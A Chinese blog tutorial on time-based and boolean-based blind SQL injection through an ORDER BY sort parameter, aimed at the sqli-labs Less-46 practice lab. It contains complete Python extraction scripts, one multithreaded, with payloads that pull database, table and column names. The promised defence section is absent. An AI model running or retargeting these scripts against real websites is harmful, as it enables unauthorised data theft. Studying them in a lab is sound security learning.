ORDER BY盲注攻击:原理、实现与防御(附Python多线程爆破脚本)

news2025/2/15 7:42:12

引言

在SQL注入攻击中,`ORDER BY`注入是一种容易被忽视但危害极大的漏洞类型。与传统的`UNION`或`WHERE`注入不同,`ORDER BY`参数通常无法直接返回查询结果,攻击者需要依赖**盲注(Blind SQLi)**技术逐字符提取数据。本文将结合一段Python多线程注入脚本,深入解析这一攻击的实现原理。

一、漏洞背景:ORDER BY注入的原理

ORDER BY子句用于对查询结果排序,其参数通常为列名或列序号。当后端未对用户输入的排序参数(如sort=1)进行过滤时,攻击者可构造恶意Payload,利用时间盲注(Time-Based Blind)逐步泄露数据。

漏洞示例URL:

url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'

参数sort存在注入点,例如:

http://127.0.0.1/sqlilabs/Less-46/index.php?sort=1

二、攻击脚本解析

完整代码附上:

import requests
import time
import concurrent.futures

def get_char_at_position(url, position):
    low, high = 32, 128
    while low < high:
        mid = (low + high) // 2
        payload = f"if((ascii(substr(database(),{position},1))>{mid}),sleep(1),1)" #暴数据库名
        #暴表名#多行改limit截取
        # payload = f"if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{position},1))>{mid},sleep(1),1)"
        #暴列名
        # payload = f"if(ascii(substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'emails' LIMIT 1),{position},1))>{mid},sleep(1),1)"
        params = {"sort": payload}
        start_time = time.time()
        try:
            r = requests.get(url, params=params, timeout=20)
        except requests.Timeout:
            return position, None
        end_time = time.time()
        if end_time - start_time >= 1:
            low = mid + 1
        else:
            high = mid
    return position, chr(low) if low >= 32 else None

def inject_database_multithread(url):
    name = [''] * 20  # 假设最大长度 20
    with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
        futures = {executor.submit(get_char_at_position, url, i): i for i in range(1, 21)}
        for future in concurrent.futures.as_completed(futures):
            pos, char = future.result()
            if char:
                name[pos-1] = char
                print(f"Progress: {''.join(name)}")
    return ''.join(name).strip('\x00')

if __name__ == "__main__":
    url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'
    database_name = inject_database_multithread(url)
    print("Database name:", database_name)

 核心代码分析

1. 二分法逐字符爆破(`get_char_at_position`函数)

def get_char_at_position(url, position):
    low, high = 32, 128  # ASCII可打印字符范围
    while low < high:
        mid = (low + high) // 2
        # 构造Payload,根据字符ASCII值二分判断
        payload = f"if(ascii(substr((SELECT ... LIMIT 1),{position},1))>{mid},sleep(1),1)"
        params = {"sort": payload}
        # 发送请求并测量响应时间
        start_time = time.time()
        r = requests.get(url, params=params, timeout=20)
        elapsed = time.time() - start_time
        # 根据是否触发sleep(1)调整二分区间
        if elapsed >= 1:
            low = mid + 1
        else:
            high = mid
    return chr(low)

二分查找:将字符ASCII值范围(32-128)不断二分,通过响应时间判断字符的真实值。
时间盲注:利用`if(condition, sleep(1), 1)`,若条件为真则延迟1秒。

2. 多线程加速(`inject_database_multithread`函数)

with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
    futures = {executor.submit(get_char_at_position, url, i): i for i in range(1, 21)}

使用线程池并发爆破不同位置的字符,理论上速度提升**N倍**(N为线程数)。

3. 切换Payload目标

# 爆破数据库名
payload = f"if((ascii(substr(database(),{position},1))>{mid}),sleep(1),1)"

# 爆破security库的表名(需修改LIMIT)
payload = f"if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{position},1))>{mid},sleep(1),1)"

# 爆破emails表的列名
payload = f"if(ascii(substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'emails' LIMIT 1),{position},1))>{mid},sleep(1),1)"


通过修改`LIMIT`偏移遍历所有表或列。

 三、攻击效果演示

运行脚本后,输出如下:

四、布尔盲注

代码与时间盲注类似,仅需要改掉二分法的判断,如下:

import requests
from urllib.parse import urlencode
from bs4 import BeautifulSoup
url1="http://127.0.0.1/sqli-labs/Less-46/index.php"
def orderby_inject_database(url1):
    name = ''
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)
            res = {"sort": payload}
            r = requests.get(url1, params=res)
            # if 'You are in...........' in r.text:
            html = r.text
            soup = BeautifulSoup(html,'html.parser')
            getUsername = soup.find_all('td')[1].text
            if getUsername == "admin3":
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
orderby_inject_database(url1)
 
 

五、其他攻击方式

参考文章:SQL-Labs靶场“46-50”关通关教程_sqli-labs50-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2298399.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

人工智能在临床应用、药物研发以及患者护理等方面的最新研究进展|顶刊速递·25-02-12

小罗碎碎念 推文速览 第一篇文章提出 CRAFT-MD 框架评估临床大语言模型&#xff08;LLMs&#xff09;在医患互动任务中的表现&#xff0c;发现其存在局限性&#xff0c;并基于结果给出改进评估的建议。 第二篇文章全面阐述了 2019 年以来人工智能在小分子药物研发全流程&#…

【物联网】电子电路基础知识

文章目录 一、基本元器件1. 电阻2. 电容3. 电感4. 二极管(1)符号(2)特性(3)实例分析5. 三极管(1)符号(2)开关特性(3)实例6. MOS管(产效应管)(1)符号(2)MOS管极性判定(3)MOS管作为开关(4)MOS管vs三极管7. 门电路(1)与门(2)或门(3)非门二、常用元器件…

辛格迪客户案例 | 钥准医药科技GMP文件管理(DMS)项目

01 创新药企&#xff0c;崛起于启东 在我国医药行业蓬勃发展的浪潮中&#xff0c;钥准医药科技&#xff08;启东&#xff09;有限公司&#xff08;以下简称“钥准医药”&#xff09;犹如一颗冉冉升起的新星&#xff0c;闪耀着创新与活力的光芒。成立于2015年&#xff0c;钥准医…

Day65_20250213图论part9_dijkstra(堆优化版)|Bellman_ford算法精讲

Day65_20250213图论part9_dijkstra(堆优化版)|Bellman_ford算法精讲 dijkstra(堆优化版) 题目 https://www.programmercarl.com/kamacoder/0047.%E5%8F%82%E4%BC%9Adijkstra%E5%A0%86.html 小明参加科学大会 思路 思路 朴素版的dijkstra&#xff0c;时间复杂度为O(n^2)&am…

w208基于spring boot物流管理系统设计与实现

&#x1f64a;作者简介&#xff1a;多年一线开发工作经验&#xff0c;原创团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339;赠送计算机毕业设计600个选题excel文…

望远镜成像系统--科学评价光学镜头

望远镜是一种利用透镜或反射镜以及其他光学器件观测遥远物体的光学仪器。其原理是通过透镜的折射或反射镜的反射&#xff0c;将光线聚焦成像&#xff0c;再经过一个放大目镜进行观察。日常生活中的光学望远镜又称“天文望远镜”。1608年&#xff0c;荷兰的一位眼镜商汉斯利伯希…

产品更新 | 华望M-Design 平台的AI 建模功能即将上线

前言 在 AI 技术加速发展的背景下&#xff0c;杭州华望系统科技有限公司在⼤语⾔模型与 SysML 标准进行深度结合的基础上&#xff0c;强力推出AI建模功能。该功能⽀持⽤户通过上传⽂档或对话交互等⽅式完成需求智能增强、模型动态构建与细节补充、实时获取结构化反馈等业务。⽬…

RabbitMQ 在 Spring Boot中使用方式

文章目录 作用MQ docker 安装MQ使用RabbitMQ的整体架构及核心概念&#xff1a;RabbitMQ的整体架构及核心概念&#xff1a;消费者消息推送限制交换机与队列## 项目使用MQDirect: 直连模式Fanout: 广播模式Topic: 主题模式Headers: 头信息模式 使用DEMO地址异常问题记录 作用 Ra…

HAL库框架学习总结

概述&#xff1a;HAL库为各种外设基本都配了三套 API&#xff0c;查询&#xff0c;中断和 DMA。 一、HAL库为外设初始化提供了一套框架&#xff0c;这里以串口为例进行说明&#xff0c;调用函数 HAL_UART_Init初始化串口&#xff0c;此函数就会调用 HAL_UART_MspInit&#xff0…

深入解析系统调用接口(System Call Interface, SCI)

在操作系统的世界中&#xff0c;用户态应用程序无法直接访问内核态资源&#xff0c;而必须通过一种受控的方式进行交互。这种方式就是系统调用&#xff08;System Call&#xff09;。系统调用接口&#xff08;System Call Interface, SCI&#xff09;是用户程序与操作系统内核之…

深入理解Linux网络随笔(一):内核是如何接收网络包的(下篇)

3、接收网络数据 3.1.1硬中断处理 数据帧从网线到达网卡时候&#xff0c;首先到达网卡的接收队列&#xff0c;网卡会在初始化时分配给自己的RingBuffer中寻找可用内存位置&#xff0c;寻找成功后将数据帧DMA到网卡关联的内存里&#xff0c;DMA操作完成后&#xff0c;网卡会向…

《只狼》运行时提示“mfc140u.dll文件缺失”是什么原因?要怎么解决?

《只狼》运行时提示“mfc140u.dll文件缺失”是什么原因&#xff1f;要怎么解决&#xff1f; 宝子们&#xff0c;是不是在玩《只狼》的时候&#xff0c;突然弹出一个提示&#xff1a;“找不到mfc140u.dll文件”&#xff1f;这可真是让人着急上火&#xff01;别慌&#xff0c;今…

SSM开发(十二) mybatis的动态SQL

目录 一、为什么需要动态SQL? Mybatis 动态 sql 是做什么的? 二、多种动态 SQL 元素 三、示例 1、model定义 2、数据库定义 3、UserMapper接口及UserMapper.xml内容定义 if标签 choose/when/otherwise 标签 foreach标签 trim 标签 四、动态SQL注意 一、为什么需…

基于LVS负载均衡练习

对比 LVS 负载均衡群集的 NAT 模式和 DR 模式&#xff0c;比较其各自的优势。 NAT模式&#xff0c;全称是网络地址转换模式。NAT模式下&#xff0c;负载均衡器&#xff08;Director&#xff09;会修改请求和响应的IP地址。客户端的请求先到达Director&#xff0c;Director将请…

FreeRTOS低功耗总结

前言 Cortex-M核的MCU一般支持以下三种低功耗方式&#xff1a; ● 睡眠(Sleep)模式 ● 停止(Stop)模式 ● 待机(Standby)模式 睡眠模式 进入睡眠模式有两种指令&#xff1a;WFI(等待中断)和WFE(等待事件)&#xff0c; WFI进入睡眠模式后&#xff0c;任意中断都可唤醒。 WFE进…

【IC】AI处理器核心--第二部分 用于处理 DNN 的硬件设计

第 II 部分 用于处理 DNN 的硬件设计 第 3 章 关键指标和设计目标 在过去的几年里&#xff0c;对 DNN 的高效处理进行了大量研究。因此&#xff0c;讨论在比较和评估不同设计和拟议技术的优缺点时应考虑的关键指标非常重要&#xff0c;这些指标应纳入设计考虑中。虽然效率通常…

【python】向Jira测试计划下,附件中增加html测试报告

【python】连接Jira获取token以及jira对象 # 往 jira 测试计划下面&#xff0c;上传测试结果html def put_jira_file(plain_id):# 配置连接jiraconn ConnJira()jira conn.jira_login()[2]path jira.issue(O45- plain_id)attachments_dir os.path.abspath(..) \\test_API…

STM32自学记录(九)

STM32自学记录 文章目录 STM32自学记录前言一、DMA杂记二、实验1.学习视频2.复现代码 总结 前言 DMA 一、DMA杂记 DMA&#xff08;Direct Memory Access&#xff09;直接存储器存取 DMA可以提供外设和存储器或者存储器和存储器之间的高速数据传输&#xff0c;无须CPU干预&…

【C++】C++-教师信息管理系统(含源码+数据文件)【独一无二】

&#x1f449;博__主&#x1f448;&#xff1a;米码收割机 &#x1f449;技__能&#x1f448;&#xff1a;C/Python语言 &#x1f449;专__注&#x1f448;&#xff1a;专注主流机器人、人工智能等相关领域的开发、测试技术。 【C】C教师信息管理系统&#xff08;含源码&#x…

Java Swing-5.jar 使用 jpackage 打包成 windows 可安装应用(exe,msi,免安装版exe)

环境 jdk17 (jdk14 以后自带将jar 打安装包工具 jpackage&#xff0c;版本从1.8调整到17) Maven&#xff1a;3.2.5 效果 对比 exe4j :免费版在启动的时候总是先弹出一个弹框&#xff0c;告诉用户你在用他们的免费版Launch4j:无法把jre环境打到exe文件中&#xff0c;用户需要单独…